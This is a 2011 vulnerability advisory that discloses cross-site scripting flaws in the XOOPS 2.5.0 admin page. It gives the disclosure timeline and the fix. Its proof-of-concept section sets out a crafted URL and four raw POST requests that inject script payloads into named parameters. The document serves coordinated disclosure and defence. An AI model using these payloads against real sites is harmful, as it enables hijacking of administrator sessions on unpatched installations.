XOOPS 2.5.0 <= Cross Site Scripting Vulnerability

1. OVERVIEW
The XOOPS 2.5.0 and lower versions were vulnerable to Cross Site Scripting.

2. BACKGROUND
XOOPS is an acronym of eXtensible Object Oriented Portal System. It's
the #1 Content Management System (CMS) project on www.sourceforge.net
and a recipient of several awards, and constantly places as finalist
in various CMS and Open Source competitions. It incorporates many
modules such as forums, photo galleries, calendars, article management
etc.

3. VULNERABILITY DESCRIPTION
Several parameters such as module/module[], memberslist_id[],
newname[], oldname[] were not properly sanitized upon submission to
the /modules/system/admin.php url, which allows attacker to conduct
Cross Site Scripting attack. This may allow an attacker to create a
specially crafted URL that would execute arbitrary script code in a
victim's browser.

4. VERSIONS AFFECTED
XOOPS 2.5.0 and lower

5. PROOF-OF-CONCEPT/EXPLOIT

Parameter: module
http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin&op=install&module=pm%3Cimg%20src=a%20onerror=alert%28String.fromCharCode%2888,83,83%29%29%3Eaawe

Parameter: module[]
[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
op=confirm&module%5b%5d=1"><script>alert(1)</script>&submit=Submit&oldname%5b1%5d=System&fct=modulesadmin&newname%5b1%5d=System
[/REQUEST]

Parameter: memberslist_id[]
[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=users&selgroups=2
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
memberslist_id%5b%5d="><script>alert(1)</script>&op=action_group&Submit=&selgroups=1&fct=mailusers&edit_group=add_group
[/REQUEST]

Parameter: newname[]
[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
op=confirm&module%5b%5d=1&submit=Submit&oldname%5b1%5d=System&fct=modulesadmin&newname%5b1%5d=System"><script>alert(1)</script>
[/REQUEST]

Parameter: oldname[]
[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
op=confirm&module%5b%5d=1&submit=Submit&oldname%5b1%5d=System"><script>alert(1)</script>1bf8581e3dc&fct=modulesadmin&newname%5b1%5d=System
[/REQUEST]

6. SOLUTION
Upgrade to XOOPS 2.5.1 or higher

7. VENDOR
XOOPS Development Team
http://xoops.org

8. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.

9. DISCLOSURE TIME-LINE
2011-03-10: notified vendor
2011-03-16: vendor released fixed version
2011-03-18: vulnerability disclosed

10. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[xoops_2.5.0]_cross_site_scripting
Vendor Announcement: http://xoops.org/modules/news/article.php?storyid=5851
What XSS Can Do: http://yehg.net/lab/pr0js/view.php/What%20XSS%20Can%20Do.pdf
XSS FAQs: http://www.cgisecurity.com/articles/xss-faq.shtml
XSS (wiki): http://en.wikipedia.org/wiki/Cross-site_scripting
XSS (owasp): http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
OWASP Top 10: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
CWE-79: http://cwe.mitre.org/data/definitions/79.html

#yehg [2011-03-18]